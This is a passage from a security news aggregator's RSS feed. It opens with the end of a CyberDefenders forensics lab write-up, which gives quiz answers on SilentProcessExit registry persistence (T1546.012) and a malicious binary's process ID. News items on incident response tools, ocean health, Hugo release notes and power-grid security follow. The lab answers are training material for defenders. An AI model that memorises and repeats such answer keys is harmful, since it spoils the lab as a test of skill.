src="https://cdn-images-1.medium.com/max/1024/1*cqPiaapPcZjJVetkuhLjWA.png"></figure><blockquote><strong><em>T1546.012</em></strong></blockquote><blockquote><strong><em>Q19</em></strong><em>: Which program was configured to monitor and execute the threat actor’s payload as part of his persistence mechanism?</em></blockquote><p>The technique used to establish persistence by executing a payload when a process exits silently is: <strong>T1546.012</strong></p><p>This is a sub-technique of Event Triggered Execution (<strong>T1546</strong>) specifically involving Image File Execution Options (IFEO) Injection via the <strong>SilentProcessExit</strong>mechanism.</p><p>The attacker typically modifies the registry key: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\<br>so let’s investigate it :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*K6ME9viNoAIQkn0jmj1YvA.png"></figure><blockquote><strong>Notepad</strong></blockquote><blockquote><strong><em>Q20</em></strong><em>: The persistence binary executed once on the compromised system. What was the process ID of this execution?</em></blockquote><p>since we know the persistence binary “<strong>spoolsc.exe</strong>”, getting the process id is easily since we already investigated the windows defender log up and got the process ID there. but let’s get it with another way using <strong>chainsaw</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p4JCxmhG4zw7YuIHwYhzTw.png"></figure><blockquote><strong><em>8056</em></strong></blockquote><h4>Thanks For Reading, Hope you enjoyed❤️</h4><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=10ddfb745ced" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/lfi-escalation-lab-writeup-cyberdefenders-10ddfb745ced">LFI Escalation Lab Writeup [CyberDefenders]</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Top 10 Best Incident Response Tools in 2026]]></title>
<description><![CDATA[In the face of relentless cyberattacks, the ability to detect, contain, and recover from a security incident is paramount. While proactive security measures are crucial, a breach is often an inevitable reality for many organizations. When a cyberattack occurs, every second counts. The financial f...]]></description>
<link>https://tsecurity.de/de/3583822/it-security-nachrichten/top-10-best-incident-response-tools-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3583822/it-security-nachrichten/top-10-best-incident-response-tools-in-2026/</guid>
<pubDate>Tue, 09 Jun 2026 10:21:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In the face of relentless cyberattacks, the ability to detect, contain, and recover from a security incident is paramount. While proactive security measures are crucial, a breach is often an inevitable reality for many organizations. When a cyberattack occurs, every second counts. The financial fallout, reputational damage, and operational disruption can be catastrophic if not […]</p>
<p>The post <a href="https://cyberpress.org/best-incident-response-tools/">Top 10 Best Incident Response Tools in 2026</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA['Severe' Stress On Oceans As Rate of Sea Level Rise Doubles In 10 Years, UN Warns]]></title>
<description><![CDATA[An anonymous reader quotes a report from The Guardian: The world's oceans are under "severe and accelerating" pressure from human activities, with the rate of sea-level rise double that of a decade ago, according to a damning assessment from the United Nations. The "intensifying" stressors, which...]]></description>
<link>https://tsecurity.de/de/3583438/it-security-nachrichten/severe-stress-on-oceans-as-rate-of-sea-level-rise-doubles-in-10-years-un-warns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3583438/it-security-nachrichten/severe-stress-on-oceans-as-rate-of-sea-level-rise-doubles-in-10-years-un-warns/</guid>
<pubDate>Tue, 09 Jun 2026 05:50:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from The Guardian: The world's oceans are under "severe and accelerating" pressure from human activities, with the rate of sea-level rise double that of a decade ago, according to a damning assessment from the United Nations. The "intensifying" stressors, which include pollution and large-scale industrial fishing, are cumulative, said the report, resulting in widespread biodiversity loss and putting ocean systems under "severe strain."
 
The UN's third World Ocean Assessment, which reflects the work of nearly 600 scientists from 86 countries, looked at the oceans' health from 2021-25. The previous report, that covered up to 2018, found persistent degradation of the marine environment. Five years on, scientists know more about the cumulative impacts of anthropogenic pressures on the ocean, and the latest report shows just how much of the damage has been done in the past few years. The scientists' key findings include:
 - Sea levels continue to rise at an increasing rate, from 2mm a year prior to 2015 to 4.3mm a year in 2023.
 - 16% of the increase in global ocean heat since 1955 occurred after 2018.
 - The greatest relative warming has been observed in the Atlantic Ocean and the southern parts of the Indian and Pacific Oceans.
 - Large gaps in knowledge persist -- with only 27% of the ocean floor mapped by 2025, deep-sea ecosystems remain poorly understood. Lukas Meus, Greenpeace's global ocean campaigner, said: "We are calling on governments to create fully protected ocean sanctuaries that will close vast areas of the ocean off from extractive human activities. Governments have promised to protect 30% of the world's ocean by 2030 -- the minimum scientists say we need for the ocean to be able to recover."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status='Severe'+Stress+On+Oceans+As+Rate+of+Sea+Level+Rise+Doubles+In+10+Years%2C+UN+Warns%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F08%2F2251201%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F08%2F2251201%2Fsevere-stress-on-oceans-as-rate-of-sea-level-rise-doubles-in-10-years-un-warns%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/06/08/2251201/severe-stress-on-oceans-as-rate-of-sea-level-rise-doubles-in-10-years-un-warns?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Make Firefox your World Cup sidekick this summer]]></title>
<description><![CDATA[Your browser tabs say a lot about your life: work projects, vacation plans, shopping carts and all the rabbit holes in between. Add the world’s biggest soccer tournament to the mix, and your browser is suddenly juggling scores to check, streams to watch, lineups to scan and group chats to keep up...]]></description>
<link>https://tsecurity.de/de/3582038/tools/make-firefox-your-world-cup-sidekick-this-summer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3582038/tools/make-firefox-your-world-cup-sidekick-this-summer/</guid>
<pubDate>Mon, 08 Jun 2026 18:09:15 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Your browser tabs say a lot about your life: work projects, vacation plans, shopping carts and all the rabbit holes in between. Add the world’s biggest soccer tournament to the mix, and your browser is suddenly juggling scores to check, streams to watch, lineups to scan and group chats to keep up with. And since […]</p>
<p>The post <a href="https://blog.mozilla.org/en/firefox/firefox-world-cup/">Make Firefox your World Cup sidekick this summer</a> appeared first on <a href="https://blog.mozilla.org/en/">The Mozilla Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Long-Running Agents]]></title>
<description><![CDATA[The following article originally appeared on Addy Osmani’s blog and is being reposted here with the author’s permission. A long-running AI agent can keep making progress over hours, days, or weeks. It can do this across many context windows and sandboxes, recover from failure, leave structured ar...]]></description>
<link>https://tsecurity.de/de/3582011/ai-nachrichten/long-running-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3582011/ai-nachrichten/long-running-agents/</guid>
<pubDate>Mon, 08 Jun 2026 18:03:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The following article originally appeared on Addy Osmani’s blog and is being reposted here with the author’s permission. A long-running AI agent can keep making progress over hours, days, or weeks. It can do this across many context windows and sandboxes, recover from failure, leave structured artifacts behind, and resume where it left off. For […]]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.163.0]]></title>
<description><![CDATA[Improvements

resources/jsconfig: Remove deprecated baseUrl setting ff2903a @bep #14991 #14996
all: Adjust tests for deprecated link and image render hook settings ca68936 @jmooring
all: Run go fix ./... 781fabf @bep
pagesfromdata: Use relative path for content adapter template metrics 1d018ef @a...]]></description>
<link>https://tsecurity.de/de/3581800/downloads/v01630/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3581800/downloads/v01630/</guid>
<pubDate>Mon, 08 Jun 2026 16:46:31 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Improvements</h2>
<ul>
<li>resources/jsconfig: Remove deprecated baseUrl setting <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/ff2903a9317ba45a65f9963f837c66cc6bce3c0e/hovercard" href="https://github.com/gohugoio/hugo/commit/ff2903a9317ba45a65f9963f837c66cc6bce3c0e"><tt>ff2903a</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4590563931" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14991" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14991/hovercard" href="https://github.com/gohugoio/hugo/issues/14991">#14991</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4591979030" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14996" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/14996/hovercard" href="https://github.com/gohugoio/hugo/pull/14996">#14996</a></li>
<li>all: Adjust tests for deprecated link and image render hook settings <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/ca68936d61b4cf0c1d3a45f5d4eb0a564a3c78ef/hovercard" href="https://github.com/gohugoio/hugo/commit/ca68936d61b4cf0c1d3a45f5d4eb0a564a3c78ef"><tt>ca68936</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a></li>
<li>all: Run go fix ./... <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/781fabf4e406aae6b888d4f9f68331e7f13e89aa/hovercard" href="https://github.com/gohugoio/hugo/commit/781fabf4e406aae6b888d4f9f68331e7f13e89aa"><tt>781fabf</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>pagesfromdata: Use relative path for content adapter template metrics <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/1d018ef8573e1cbeca6c05b6df0792cb5f672541/hovercard" href="https://github.com/gohugoio/hugo/commit/1d018ef8573e1cbeca6c05b6df0792cb5f672541"><tt>1d018ef</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anupamojha-eng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anupamojha-eng">@anupamojha-eng</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4602160535" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14999" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14999/hovercard" href="https://github.com/gohugoio/hugo/issues/14999">#14999</a></li>
<li>ci: Re-add macos-latest to the test matrix <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/121bc6ceb232effd98a85a5fec357181be8ff01e/hovercard" href="https://github.com/gohugoio/hugo/commit/121bc6ceb232effd98a85a5fec357181be8ff01e"><tt>121bc6c</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>images: Deprecate Imaging.Compression and move it down to webp and avif configs <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/cf18b827e2bebe95f87b36bff9937218348a55ca/hovercard" href="https://github.com/gohugoio/hugo/commit/cf18b827e2bebe95f87b36bff9937218348a55ca"><tt>cf18b82</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4598625710" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14998" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14998/hovercard" href="https://github.com/gohugoio/hugo/issues/14998">#14998</a></li>
<li>Only support the latest Go version <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/98ad9b3c03278d0af3ebd13f8ec9fc1a71d46745/hovercard" href="https://github.com/gohugoio/hugo/commit/98ad9b3c03278d0af3ebd13f8ec9fc1a71d46745"><tt>98ad9b3</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4595941848" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14997" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14997/hovercard" href="https://github.com/gohugoio/hugo/issues/14997">#14997</a></li>
<li>page: Add IsBranch and deprecate IsNode <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/b89e7fe675457e2ca54548d57958df7d2cd8658c/hovercard" href="https://github.com/gohugoio/hugo/commit/b89e7fe675457e2ca54548d57958df7d2cd8658c"><tt>b89e7fe</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1949125590" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/11574" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/11574/hovercard" href="https://github.com/gohugoio/hugo/issues/11574">#11574</a></li>
<li>images: Force cache invalidation for AVIF target <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/e8fefc8388e2f8c03f441a4f3d9c658edba90d00/hovercard" href="https://github.com/gohugoio/hugo/commit/e8fefc8388e2f8c03f441a4f3d9c658edba90d00"><tt>e8fefc8</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4589577076" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14990" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14990/hovercard" href="https://github.com/gohugoio/hugo/issues/14990">#14990</a></li>
<li>images: Add a per-format AVIF hint setting <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/a043d3ec6323d9eb97db128c9fc710612708fa7a/hovercard" href="https://github.com/gohugoio/hugo/commit/a043d3ec6323d9eb97db128c9fc710612708fa7a"><tt>a043d3e</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4590662849" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14992" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14992/hovercard" href="https://github.com/gohugoio/hugo/issues/14992">#14992</a></li>
<li>images: Make AVIF chroma subsampling content-aware via the hint <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/341f575d2db6abce3e9fbce871b9251f649e6e14/hovercard" href="https://github.com/gohugoio/hugo/commit/341f575d2db6abce3e9fbce871b9251f649e6e14"><tt>341f575</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4587656335" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14987" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14987/hovercard" href="https://github.com/gohugoio/hugo/issues/14987">#14987</a></li>
<li>Cap AVIF lossy quality at 99 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/248241b6e18ecf0d9cb2706419952ae933ad78d8/hovercard" href="https://github.com/gohugoio/hugo/commit/248241b6e18ecf0d9cb2706419952ae933ad78d8"><tt>248241b</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4566435184" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14981" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14981/hovercard" href="https://github.com/gohugoio/hugo/issues/14981">#14981</a></li>
<li>config: Deprecate the glogal imaging quality setting <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/4e47d95db97292c46553c14af646873666f3a56b/hovercard" href="https://github.com/gohugoio/hugo/commit/4e47d95db97292c46553c14af646873666f3a56b"><tt>4e47d95</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565517391" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14979" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14979/hovercard" href="https://github.com/gohugoio/hugo/issues/14979">#14979</a></li>
<li>images: Make 60 the default quality for AVIF <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/03b4b54220d03716396df254d69a88a8a0b066a6/hovercard" href="https://github.com/gohugoio/hugo/commit/03b4b54220d03716396df254d69a88a8a0b066a6"><tt>03b4b54</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565517391" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14979" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14979/hovercard" href="https://github.com/gohugoio/hugo/issues/14979">#14979</a></li>
<li>livereload: Disconnect from websocket server on pageswap <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/79be0532f1243f2e52b46c5ba0148880947be143/hovercard" href="https://github.com/gohugoio/hugo/commit/79be0532f1243f2e52b46c5ba0148880947be143"><tt>79be053</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4572172768" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14983" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14983/hovercard" href="https://github.com/gohugoio/hugo/issues/14983">#14983</a></li>
<li>tpl/tplimpl/embedded: Prevent leading newline in sitemap template <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/0f440460c861d3576579bf4074069b4045e7ddce/hovercard" href="https://github.com/gohugoio/hugo/commit/0f440460c861d3576579bf4074069b4045e7ddce"><tt>0f44046</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4562698047" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14977" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14977/hovercard" href="https://github.com/gohugoio/hugo/issues/14977">#14977</a></li>
<li>images: Recover from memory alloc errors in WASM image processors <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/4e17421ec25fb067b22cafaff15785e1d52c04f3/hovercard" href="https://github.com/gohugoio/hugo/commit/4e17421ec25fb067b22cafaff15785e1d52c04f3"><tt>4e17421</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4582444694" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14985" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14985/hovercard" href="https://github.com/gohugoio/hugo/issues/14985">#14985</a></li>
<li>images: Add quality setting per image format <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/b01ecd4cd4377921efe427fed8a16326b85f2ace/hovercard" href="https://github.com/gohugoio/hugo/commit/b01ecd4cd4377921efe427fed8a16326b85f2ace"><tt>b01ecd4</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534244824" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14957" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14957/hovercard" href="https://github.com/gohugoio/hugo/issues/14957">#14957</a></li>
<li>misc: Remove duplicate words in comments <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/45c00b7c162b55ca9bcdd9a664bcf1294aa5d266/hovercard" href="https://github.com/gohugoio/hugo/commit/45c00b7c162b55ca9bcdd9a664bcf1294aa5d266"><tt>45c00b7</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511708817" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14936" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/14936/hovercard" href="https://github.com/gohugoio/hugo/pull/14936">#14936</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4530465237" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14950" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/14950/hovercard" href="https://github.com/gohugoio/hugo/pull/14950">#14950</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4542402306" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14965" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/14965/hovercard" href="https://github.com/gohugoio/hugo/pull/14965">#14965</a></li>
<li>Add some PNG to AVIF golden test cases <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/28d882ab704e5060687a61210ae20b0027595705/hovercard" href="https://github.com/gohugoio/hugo/commit/28d882ab704e5060687a61210ae20b0027595705"><tt>28d882a</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
</ul>
<h2>Dependency Updates</h2>
<ul>
<li>build(deps): bump github.com/bits-and-blooms/bitset <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/0d29fc81bb559750644bc163ec67f21f3c36ed1b/hovercard" href="https://github.com/gohugoio/hugo/commit/0d29fc81bb559750644bc163ec67f21f3c36ed1b"><tt>0d29fc8</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/tetratelabs/wazero <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/bb57404f3d93cd588e98f34c742b8b7c2741a4c7/hovercard" href="https://github.com/gohugoio/hugo/commit/bb57404f3d93cd588e98f34c742b8b7c2741a4c7"><tt>bb57404</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/rogpeppe/go-internal from 1.14.1 to 1.15.0 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/7d1b1fb33dd7bdbb0d16dde9509ce15d93f7d894/hovercard" href="https://github.com/gohugoio/hugo/commit/7d1b1fb33dd7bdbb0d16dde9509ce15d93f7d894"><tt>7d1b1fb</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/getkin/kin-openapi from 0.138.0 to 0.139.0 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/77a1147056b465f0bb87f9293b63a7ac5b81ab9e/hovercard" href="https://github.com/gohugoio/hugo/commit/77a1147056b465f0bb87f9293b63a7ac5b81ab9e"><tt>77a1147</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The power grid runs on decades-old devices — and attackers know it]]></title>
<description><![CDATA[U.S. energy companies have invested more than $1.3 trillion in grid infrastructure over the past decade. Another $1.1 trillion is projected in the next five years, effectively doubling the sector’s investment. The industry is transforming. For two decades, demand was stagnant as efficiency gains ...]]></description>
<link>https://tsecurity.de/de/3581211/it-security-nachrichten/the-power-grid-runs-on-decades-old-devices-and-attackers-know-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3581211/it-security-nachrichten/the-power-grid-runs-on-decades-old-devices-and-attackers-know-it/</guid>
<pubDate>Mon, 08 Jun 2026 13:07:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>U.S. energy companies have invested more than <a href="https://www.eei.org/en/news/news/all/eei-releases-2024-financial-review" rel="nofollow">$1.3 trillion in grid infrastructure over the past decade. Another $1.1 trillion</a> is projected in the next five years, effectively doubling the sector’s investment. The industry is transforming. For two decades, demand was stagnant as efficiency gains offset growth. Now, <a href="https://www.iea.org/reports/energy-and-ai/executive-summary" rel="nofollow">the surge in AI data centers and electrification is driving exponential load growth.</a> While the grid is rapidly expanding, security isn’t keeping pace.</p>



<p>In my discussions of the challenges utility companies face combatting this vulnerability, I refer to <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-042a" rel="nofollow">the 2021 hack of the Oldsmar, FL water system.</a> To simplify its administration, a remote desktop service was enabled on a control Windows station with shared credentials. Poor password hygiene was cited as the breach’s likely cause, and the attacker could have manipulated the chemicals going into the water supply with catastrophic results. Fortunately, an operator saw the desktop session and reversed the changes. Even though the plant infrastructure may have been secure, poor system controls and authentication hygiene opened the system up to attackers.</p>



<h2 class="wp-block-heading">How the grid became a cybersecurity problem</h2>



<p>Energy used to flow in one direction from utility plants to consumers. With rooftop solar, virtual power plants, EVs and battery storage, it now goes both ways. And from a security perspective, the grid operator doesn’t own most of these new connected assets.</p>



<p>Supporting that shift required networking OT devices that were never designed for large, heterogeneous networks. They were built to support point-to-point serial connections with physical security like fences or locks. When utilities centralized monitoring, they first added Ethernet adapters that had no authentication or encryption and were not designed to handle unexpected network traffic. And then, to enable AI analytics and cloud management, they removed the air gaps and strict segmentation, which provided the basis for device security and put them on much more broadly connected networks.</p>



